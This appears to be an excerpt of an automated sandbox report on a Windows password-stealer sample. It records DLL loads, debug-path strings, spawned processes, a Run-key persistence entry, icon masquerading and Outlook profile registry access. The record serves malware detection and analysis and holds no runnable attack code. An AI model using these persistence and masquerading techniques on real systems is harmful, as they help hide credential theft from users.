Source: C:\Windows\System32\unregmp2.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmnetmgr.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wdigest.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\unregmp2.exe	Section loaded: wmpps.dll
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\sc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static file information: File size 2928646 > 1048576

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF246C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDBH source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wmplayer.exe, 00000006.00000002.2321922412.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2230114991.00000000030F5000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2228408124.0000000002F48000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000002.2321922412.000000000343E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2321954921.00000000031D2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.00000000036DE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2323720085.000000000338F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.0000000003540000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: sc.pdbUGP source: wmplayer.exe, 00000006.00000002.2321810526.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944318113.00000000011D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: wntdll.pdb source: wmplayer.exe, wmplayer.exe, 00000006.00000002.2321922412.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2230114991.00000000030F5000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2228408124.0000000002F48000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000002.2321922412.000000000343E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, sc.exe, 0000000D.00000003.2321954921.00000000031D2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.00000000036DE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2323720085.000000000338F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.0000000003540000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: sc.pdb source: wmplayer.exe, 00000006.00000002.2321810526.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944318113.00000000011D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbCoe source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A0A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: pC:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb` source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp, WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb.0e source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF246C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbx. source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3942485337.0000000000A7E000.00000002.00000001.01000000.00000009.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000000.2386545627.0000000000A7E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Drawing.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbPROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocaQ, source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: Microsoft.VisualBasic.pdb- source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: wmplayer.pdbGCTL source: sc.exe, 0000000D.00000002.3946994371.0000000003B6C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 0000000D.00000002.3942849584.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2615659691.00000000191BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wmplayer.pdb source: sc.exe, 0000000D.00000002.3946994371.0000000003B6C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 0000000D.00000002.3942849584.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2615659691.00000000191BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD346858D4 push ds; ret	0_2_00007FFD346858D5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD3468B86B push eax; retf	0_2_00007FFD3468B889
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD34760003 push esp; retf 4810h	0_2_00007FFD34760312
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Code function: 0_2_00007FFD347606C9 pushad ; ret	0_2_00007FFD347606E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0041C98B push 07E53DEBh; iretd	6_2_0041C990
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_004239A3 push edi; ret	6_2_004239AB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0041A28D push cs; ret	6_2_0041A290
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_004082A0 pushfd ; ret	6_2_004082BC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00403320 push eax; ret	6_2_00403322
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00418BD3 push esi; ret	6_2_00418BD4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00417E4C pushfd ; iretd	6_2_00417E4D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00417F44 push eax; ret	6_2_00417F5D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_00401F8C push ebx; retf	6_2_00401F98
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D09AD push ecx; mov dword ptr [esp], ecx	6_2_032D09B6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035709AD push ecx; mov dword ptr [esp], ecx	13_2_035709B6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E121FD push FFFFFFDCh; iretd	13_2_02E1222B
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E10140 push edi; retn EB3Ah	13_2_02E1016F
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E20680 push edi; ret	13_2_02E20688
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E19668 push 07E53DEBh; iretd	13_2_02E1966D
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E1E540 push cs; ret	13_2_02E1E608
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E14B29 pushfd ; iretd	13_2_02E14B2A
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E158B0 push esi; ret	13_2_02E158B1
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E1CF89 push esi; retf	13_2_02E1CF9B
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E1CF90 push esi; retf	13_2_02E1CF9B
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E16F6A push cs; ret	13_2_02E16F6D
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E04F7D pushfd ; ret	13_2_02E04F99
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E11CA0 push ebx; iretd	13_2_02E11CA1
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E14C21 push eax; ret	13_2_02E14C3A
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033B9311 pushfd ; ret	13_2_033B9323
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033B9215 push cs; ret	13_2_033B9216
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033B37EE push B012FEBEh; iretd	13_2_033B37FB

Source: C:\Windows\SysWOW64\sc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PTR4CRBH			Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PTR4CRBH			Jump to behavior

Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"

Hooking and other Techniques for Hiding and Protection

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (27).png

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
